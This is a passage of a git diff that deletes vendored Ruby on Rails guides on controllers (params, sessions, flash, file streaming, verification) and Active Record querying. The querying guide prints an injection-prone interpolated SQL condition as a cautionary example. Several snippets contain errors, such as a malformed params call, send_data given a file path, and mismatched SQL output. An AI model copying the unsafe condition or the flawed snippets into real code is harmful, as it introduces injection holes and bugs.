makes no attempt to guess or cast the type. - -To send a hash you include the key name inside the brackets: - -------------------------------------- -
- - - - -
-------------------------------------- - -The value of `params[:client]` when this form is submitted will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`. - -Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys. - -=== Routing Parameters === - -The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL: - -[source, ruby] ------------------------------------- -# ... -map.connect "/clients/:status", :controller => "clients", :action => "index", :foo => "bar" -# ... ------------------------------------- - -In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string in the same way `params[:action]` will contain "index". - -=== `default_url_options` === - -You can set global default parameters that will be used when generating URLs with `default_url_options`. To do this, define a method with that name in your controller: - ------------------------------------- -class ApplicationController < ActionController::Base - - #The options parameter is the hash passed in to +url_for+ - def default_url_options(options) - {:locale => I18n.locale} - end - -end ------------------------------------- - -These options will be used as a starting-point when generating, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt deleted file mode 100644 index 846c2405..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt +++ /dev/null @@ -1,43 +0,0 @@ -== The +request+ and +response+ Objects == - -In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of AbstractRequest and the `response` method returns a +response+ object representing what is going to be sent back to the client. - -=== The +request+ Object === - -The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the link:http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html[API documentation]. Among the properties that you can access on this object are: - - * host - The hostname used for this request. - * domain(n=2) - The hostname's first `n` segments, starting from the right (the TLD) - * format - The content type requested by the client. - * method - The HTTP method used for the request. - * get?, post?, put?, delete?, head? - Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD. - * headers - Returns a hash containing the headers associated with the request. - * port - The port number (integer) used for the request. - * protocol - Returns a string containing the prototol used plus "://", for example "http://" - * query_string - The query string part of the URL - everything after "?". - * remote_ip - The IP address of the client. - * url - The entire URL used for the request. - -==== +path_parameters+, +query_parameters+ and +request_parameters+ ==== - -Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action. - -=== The +response+ Object === - -The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values. - - * body - This is the string of data being sent back to the client. This is most often HTML. - * status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found. - * location - The URL the client is being redirected to, if any. - * content_type - The content type of the response. - * charset - The character set being used for the response. Default is "utf8". - * headers - Headers used for the response. - -==== Setting Custom Headers ==== - -If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to `headers` with the name and value: - -[source, ruby] -------------------------------------- -response.headers["Content-Type"] = "application/pdf" -------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt deleted file mode 100644 index 3353df61..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt +++ /dev/null @@ -1,67 +0,0 @@ -== Rescue == - -Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application: - -=== The Default 500 and 404 Templates === - -By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML. - -=== `rescue_from` === - -If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the `:with` option. You can also use a block directly instead of an explicit Proc object. - -Here's how you can use +rescue_from+ to intercept all ActiveRecord::RecordNotFound errors and do something with them. - -[source, ruby] ------------------------------------ -class ApplicationController < ActionController::Base - - rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found - -private - - def record_not_found - render :text => "404 Not Found", :status => 404 - end - -end ------------------------------------ - -Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application: - -[source, ruby] ------------------------------------ -class ApplicationController < ActionController::Base - - rescue_from User::NotAuthorized, :with => :user_not_authorized - -private - - def user_not_authorized - flash[:error] = "You don't have access to this section." - redirect_to :back - end - -end - -class ClientsController < ApplicationController - - # Check that the user has the right authorization to access clients. - before_filter :check_authorization - - # Note how the actions don't have to worry about all the auth stuff. - def edit - @client = Client.find(params[:id]) - end - -private - - # If the user is not authorized, just throw the exception. - def check_authorization - raise User::NotAuthorized unless current_user.admin? - end - -end ------------------------------------ - -NOTE: Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[article] on the subject for more information. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt deleted file mode 100644 index 24818fcb..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt +++ /dev/null @@ -1,156 +0,0 @@ -== Session == - -Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: - - * CookieStore - Stores everything on the client. - * DRbStore - Stores the data on a DRb server. - * MemCacheStore - Stores the data in a memcache. - * ActiveRecordStore - Stores the data in a database using Active Record. - -All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL). - -Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application. - -Read more about session storage in the link:../security.html[Security Guide]. - -If you need a different session storage mechanism, you can change it in the `config/environment.rb` file: - -[source, ruby] ------------------------------------------- -# Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store] -config.action_controller.session_store = :active_record_store ------------------------------------------- - -=== Accessing the Session === - -In your controller you can access the session through the `session` instance method. - -NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job. - -Session values are stored using key/value pairs like a hash: - -[source, ruby] ------------------------------------------- -class ApplicationController < ActionController::Base - -private - - # Finds the User with the ID stored in the session with the key :current_user_id - # This is a common way to handle user login in a Rails application; logging in sets the - # session value and logging out removes it. - def current_user - @_current_user ||= session[:current_user_id] && User.find(session[:current_user_id]) - end - -end ------------------------------------------- - -To store something in the session, just assign it to the key like a hash: - -[source, ruby] ------------------------------------------- -class LoginsController < ApplicationController - - # "Create" a login, aka "log the user in" - def create - if user = User.authenticate(params[:username, params[:password]) - # Save the user ID in the session so it can be used in subsequent requests - session[:current_user_id] = user.id - redirect_to root_url - end - end - -end ------------------------------------------- - -To remove something from the session, assign that key to be `nil`: - -[source, ruby] ------------------------------------------- -class LoginsController < ApplicationController - - # "Delete" a login, aka "log the user out" - def destroy - # Remove the user id from the session - session[:current_user_id] = nil - redirect_to root_url - end - -end ------------------------------------------- - -To reset the entire session, use `reset_session`. - -=== The flash === - -The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request: - -[source, ruby] ------------------------------------------- -class LoginsController < ApplicationController - - def destroy - session[:current_user_id] = nil - flash[:notice] = "You have successfully logged out" - redirect_to root_url - end - -end ------------------------------------------- - -The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout: - ------------------------------------------- - - - - <% if flash[:notice] -%> -

<%= flash[:notice] %>

- <% end -%> - <% if flash[:error] -%> -

<%= flash[:error] %>

- <% end -%> - - - ------------------------------------------- - -This way, if an action sets an error or a notice message, the layout will display it automatically. - -If you want a flash value to be carried over to another request, use the `keep` method: - -[source, ruby] ------------------------------------------- -class MainController < ApplicationController - - # Let's say this action corresponds to root_url, but you want all requests here to be redirected to - # UsersController#index. If an action sets the flash and redirects here, the values would normally be - # lost when another redirect happens, but you can use keep to make it persist for another request. - def index - flash.keep # Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice) - redirect_to users_url - end - -end ------------------------------------------- - -==== +flash.now+ ==== - -By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`: - -[source, ruby] ------------------------------------------- -class ClientsController < ApplicationController - - def create - @client = Client.new(params[:client]) - if @client.save - # ... - else - flash.now[:error] = "Could not save client" - render :action => "new" - end - end - -end ------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt deleted file mode 100644 index 2a930835..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt +++ /dev/null @@ -1,91 +0,0 @@ -== Streaming and File Downloads == - -Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, that will both stream data to the client. `send_file` is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you. - -To stream data to the client, use `send_data`: - -[source, ruby] ----------------------------- -require "prawn" -class ClientsController < ApplicationController - - # Generate a PDF document with information on the client and return it. - # The user will get the PDF as a file download. - def download_pdf - client = Client.find(params[:id]) - send_data(generate_pdf, :filename => "#{client.name}.pdf", :type => "application/pdf") - end - -private - - def generate_pdf(client) - Prawn::Document.new do - text client.name, :align => :center - text "Address: #{client.address}" - text "Email: #{client.email}" - end.render - end - -end ----------------------------- - -The `download_pdf` action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment". - -=== Sending Files === - -If you want to send a file that already exists on disk, use the `send_file` method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file. - -[source, ruby] ----------------------------- -class ClientsController < ApplicationController - - # Stream a file that has already been generated and stored on disk - def download_pdf - client = Client.find(params[:id]) - send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf", :filename => "#{client.name}.pdf", :type => "application/pdf") - end - -end ----------------------------- - -This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option. - -WARNING: Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. - -TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the `:x_sendfile` option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the `X-Sendfile` header for this to work, and you still have to be careful not to use user input in a way that lets someone retrieve arbitrary files. - -=== RESTful Downloads === - -While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming: - -[source, ruby] ----------------------------- -class ClientsController < ApplicationController - - # The user can request to receive this resource as HTML or PDF. - def show - @client = Client.find(params[:id]) - - respond_to do |format| - format.html - format.pdf{ render :pdf => generate_pdf(@client) } - end - end - -end ----------------------------- - -In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`: - -[source, ruby] ----------------------------- -Mime::Type.register "application/pdf", :pdf ----------------------------- - -NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect. - -Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL: - ----------------------------- -GET /clients/1.pdf ----------------------------- diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt deleted file mode 100644 index a4522a01..00000000 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt +++ /dev/null @@ -1,40 +0,0 @@ -== Verification == - -Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the `params`, `session` or `flash` hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the link:http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html[API documentation] as "essentially a special kind of before_filter". - -Here's an example of using verification to make sure the user supplies a username and a password in order to log in: - -[source, ruby] ---------------------------------------- -class LoginsController < ApplicationController - - verify :params => [:username, :password], - :render => {:action => "new"}, - :add_flash => {:error => "Username and password required to log in"} - - def create - @user = User.authenticate(params[:username], params[:password]) - if @user - flash[:notice] = "You're logged in" - redirect_to root_url - else - render :action => "new" - end - end - -end ---------------------------------------- - -Now the `create` action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the `new` action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the `:only` and `:except` options just like a filter: - -[source, ruby] ---------------------------------------- -class LoginsController < ApplicationController - - verify :params => [:username, :password], - :render => {:action => "new"}, - :add_flash => {:error => "Username and password required to log in"}, - :only => :create # Only run this verification for the "create" action - -end ---------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/active_record_querying.txt b/vendor/rails/railties/doc/guides/source/active_record_querying.txt deleted file mode 100644 index c0aa5482..00000000 --- a/vendor/rails/railties/doc/guides/source/active_record_querying.txt +++ /dev/null @@ -1,774 +0,0 @@ -Active Record Query Interface -============================= - -This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to: - -* Find records using a variety of methods and conditions -* Specify the order, retrieved attributes, grouping, and other properties of the found records -* Use eager loading to reduce the number of database queries needed for data retrieval -* Use dynamic finders methods -* Create named scopes to add custom finding behavior to your models -* Check for the existence of particular records -* Perform various calculations on Active Record models - -If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. - -Code examples throughout this guide will refer to one or more of the following models: - -[source,ruby] -------------------------------------------------------- -class Client < ActiveRecord::Base - has_one :address - has_one :mailing_address - has_many :orders - has_and_belongs_to_many :roles -end -------------------------------------------------------- - -[source,ruby] -------------------------------------------------------- -class Address < ActiveRecord::Base - belongs_to :client -end -------------------------------------------------------- - -[source,ruby] -------------------------------------------------------- -class MailingAddress < Address -end -------------------------------------------------------- - -[source,ruby] -------------------------------------------------------- -class Order < ActiveRecord::Base - belongs_to :client, :counter_cache => true -end -------------------------------------------------------- - -[source,ruby] -------------------------------------------------------- -class Role < ActiveRecord::Base - has_and_belongs_to_many :clients -end -------------------------------------------------------- - -**** -Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same. -**** - -== Retrieving objects - -To retrieve objects from the database, Active Record provides a primary method called +find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type +Client.find(1)+ which would execute this query on your database: - -[source, sql] -------------------------------------------------------- -SELECT * FROM clients WHERE (clients.id = 1) -------------------------------------------------------- - -NOTE: Because this is a standard table created from a migration in Rails, the primary key is defaulted to 'id'. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column. - -If you wanted to find clients with id 1 or 2, you call +Client.find([1,2])+ or +Client.find(1,2)+ and then this will be executed as: - -[source, sql] -------------------------------------------------------- -SELECT * FROM clients WHERE (clients.id IN (1,2)) -------------------------------------------------------- - -------------------------------------------------------- ->> Client.find(1,2) -=> [# "Ryan", locked: false, orders_count: 2, - created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, - # "Michael", locked: false, orders_count: 3, - created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">] -------------------------------------------------------- - -Note that if you pass in a list of numbers that the result will be returned as an array, not as a single Client object. - -NOTE: If +find(id)+ or +find([id1, id2])+ fails to find any records, it will raise a RecordNotFound exception. - -If you wanted to find the first Client object you would simply type +Client.first+ and that would find the first client in your clients table: - -------------------------------------------------------- ->> Client.first -=> # "Ryan", locked: false, orders_count: 2, - created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"> -------------------------------------------------------- - -If you were reading your log file (the default is log/development.log) you may see something like this: - -[source,sql] -------------------------------------------------------- -SELECT * FROM clients LIMIT 1 -------------------------------------------------------- - -Indicating the query that Rails has performed on your database. - -To find the last Client object you would simply type +Client.last+ and that would find the last client created in your clients table: - -------------------------------------------------------- ->> Client.last -=> # "Michael", locked: false, orders_count: 3, - created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"> -------------------------------------------------------- - -If you were reading your log file (the default is log/development.log) you may see something like this: - -[source,sql] -------------------------------------------------------- -SELECT * FROM clients ORDER BY id DESC LIMIT 1 -------------------------------------------------------- - -NOTE: Please be aware that the syntax that Rails uses to find the first record in the table means that it may not be the actual first record. If you want the actual first record based on a field in your table (e.g. +created_at+) specify an order option in your find call. The last method call works differently: it finds the last record on your table based on the primary key column. - -[source,sql] -------------------------------------------------------- -SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 -------------------------------------------------------- - -To find all the Client objects you would simply type +Client.all+ and that would find all the clients in your clients table: - -------------------------------------------------------- ->> Client.all -=> [# "Ryan", locked: false, orders_count: 2, - created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, - # "Michael", locked: false, orders_count: 3, - created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">] -------------------------------------------------------- - -You may see in Rails code that there are calls to methods such as +Client.find(:all)+, +Client.find(:first)+ and +Client.find(:last)+. These methods are just alternatives to +Client.all+, +Client.first+ and +Client.last+ respectively. - -Be aware that +Client.first+/+Client.find(:first)+ and +Client.last+/+Client.find(:last)+ will both return a single object, where as +Client.all+/+Client.find(:all)+ will return an array of Client objects, just as passing in an array of ids to +find+ will do also. - -== Conditions - -The +find+ method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash. - -=== Pure String Conditions === - -If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2. - -WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array. - -=== Array Conditions === - -Now what if that number could vary, say as a argument from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like +Client.first(:conditions => ["orders_count = ?", params[:orders]])+. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like +Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])+. In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter. - -The reason for doing code like: - -[source, ruby] -------------------------------------------------------- -Client.first(:conditions => ["orders_count = ?", params[:orders]]) -------------------------------------------------------- - -instead of: - -[source, ruby] -------------------------------------------------------- -Client.first(:conditions => "orders_count = #{params[:orders]}") -------------------------------------------------------- - -is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. - -TIP: For more information on the dangers of SQL injection, see the link:../security.html#_sql_injection[Ruby on Rails Security Guide]. - -If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range: - -[source, ruby] -------------------------------------------------------- -Client.all(:conditions => ["created_at IN (?)", - (params[:start_date].to_date)..(params[:end_date].to_date)]) -------------------------------------------------------- - -This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against. - -[source, sql] -------------------------------------------------------- -SELECT * FROM users WHERE (created_at IN - ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05', - '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11', - '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17', - '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',... - ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20', - '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26', - '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31')) -------------------------------------------------------- - -Things can get *really* messy if you pass in Time objects as it will attempt to compare your field to *every second* in that range: - -[source, ruby] -------------------------------------------------------- -Client.all(:conditions => ["created_at IN (?)", - (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)]) -------------------------------------------------------- - -[source, sql] -------------------------------------------------------- -SELECT * FROM users WHERE (created_at IN - ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ... - '2007-12-01 23:59:59', '2007-12-02 00:00:00')) -------------------------------------------------------- - -This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error: - -------------------------------------------------------- -Got a packet bigger than 'max_allowed_packet' bytes: _query_ -------------------------------------------------------- - -Where _query_ is the actual query used to get that error. - -In this example it would be better to use greater-than and less-than operators in SQL, like so: - -[source, ruby] -------------------------------------------------------- -Client.all(:conditions => - ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]]) -------------------------------------------------------- - -You can also use the greater-than-or-equal-to and less-than-or-equal-to like this: - -[source, ruby] -------------------------------------------------------- -Client.all(:conditions => - ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]]) -------------------------------------------------------- - -Just like in Ruby. If you want a shorter syntax be sure to check out the <<_hash_conditions, Hash Conditions>> section later on in the guide. - -=== Placeholder Conditions === - -Similar to the array style of params you can also specify keys in your conditions: - -[source, ruby] -------------------------------------------------------- -Client.all(:conditions => - ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }]) -------------------------------------------------------- - -This makes for clearer readability if you have a large number of variable conditions. - -=== Hash Conditions - -Rails also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them: - -[source, ruby] -------------------------------------------------------- -Client.all(:conditions => { :locked => true }) -------------------------------------------------------- - -The field name does not have to be a symbol it can also be a string: - -[source, ruby] -------------------------------------------------------- -Client.all(:conditions => { 'locked' => true }) -------------------------------------------------------- - -The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section. - -[source, ruby] -------------------------------------------------------- -Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight}) -------------------------------------------------------- - -This will find all clients created yesterday by using a BETWEEN sql statement: - -[source, sql] -------------------------------------------------------- -SELECT * FROM `clients` WHERE (`clients`.`created_at` BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') -------------------------------------------------------- - -This demonstrates a shorter syntax for the examples in <<_array_conditions, Array Conditions>> - -You can also join in tables and specify their columns in the hash: - -[source, ruby] -------------------------------------------------------- -Client.all(:include => "orders", :conditions => { 'orders.created_at' => (Time.now.midnight - 1.day)..Time.now.midnight }) -------------------------------------------------------- - -An alternative and cleaner syntax to this is: - -[source, ruby] -------------------------------------------------------- -Client.all(:include => "orders", :conditions => { :orders => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight } }) -------------------------------------------------------- - -This will find all clients who have orders that were created yesterday, again using a BETWEEN expression. - -If you want to find records using the IN expression you can pass an array to the conditions hash: - -[source, ruby] -------------------------------------------------------- -Client.all(:include => "orders", :conditions => { :orders_count => [1,3,5] } -------------------------------------------------------- - -This code will generate SQL like this: - -[source, sql] -------------------------------------------------------- -SELECT * FROM `clients` WHERE (`clients`.`orders_count` IN (1,2,3)) -------------------------------------------------------- - -== Ordering - -If you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table, you can use +Client.all(:order => "created_at")+. If you'd like to order it in descending order, just tell it to do that using +Client.all(:order => "created_at desc")+. The value for this option is passed in as sanitized SQL and allows you to sort via multiple fields: +Client.all(:order => "created_at desc, orders_count asc")+. - -== Selecting Certain Fields - -To select certain fields, you can use the select option like this: +Client.first(:select => "viewable_by, locked")+. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute +SELECT viewable_by, locked FROM clients LIMIT 1+ on your database. - -Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive: - -------------------------------------------------------- -ActiveRecord::MissingAttributeError: missing attribute: -------------------------------------------------------- - -Where is the atrribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly. - -You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this: +Client.all(:select => "DISTINCT(name)")+. - -== Limit & Offset - -If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example: - -[source, ruby] -------------------------------------------------------- -Client.all(:limit => 5) -------------------------------------------------------- - -This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this: - -[source,sql] -------------------------------------------------------- -SELECT * FROM clients LIMIT 5 -------------------------------------------------------- - -[source, ruby] -------------------------------------------------------- -Client.all(:limit => 5, :offset => 5) -------------------------------------------------------- - -This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like: - -[source,sql] -------------------------------------------------------- -SELECT * FROM clients LIMIT 5, 5 -------------------------------------------------------- - -== Group - -The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context: - -[source, ruby] -------------------------------------------------------- -Order.all(:group => "date(created_at)", :order => "created_at") -------------------------------------------------------- - -And this will give you a single +Order+ object for each date where there are orders in the database. - -The SQL that would be executed would be something like this: - -[source, sql] -------------------------------------------------------- -SELECT * FROM orders GROUP BY date(created_at) -------------------------------------------------------- - -== Having - -The +:having+ option allows you to specify SQL and acts as a kind of a filter on the group option. +:having+ can only be specified when +:group+ is specified. - -An example of using it would be: - -[source, ruby] -------------------------------------------------------- -Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago]) -------------------------------------------------------- - -This will return single order objects for each day, but only for the last month. - -== Read Only - -+readonly+ is a +find+ option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an ActiveRecord::ReadOnlyRecord exception. To set this option, specify it like this: - -[source, ruby] -------------------------------------------------------- -Client.first(:readonly => true) -------------------------------------------------------- - -If you assign this record to a variable client, calling the following code will raise an ActiveRecord::ReadOnlyRecord exception: - -[source, ruby] -------------------------------------------------------- -client = Client.first(:readonly => true) -client.locked = false -client.save -------------------------------------------------------- - -== Lock - -If you're wanting to stop 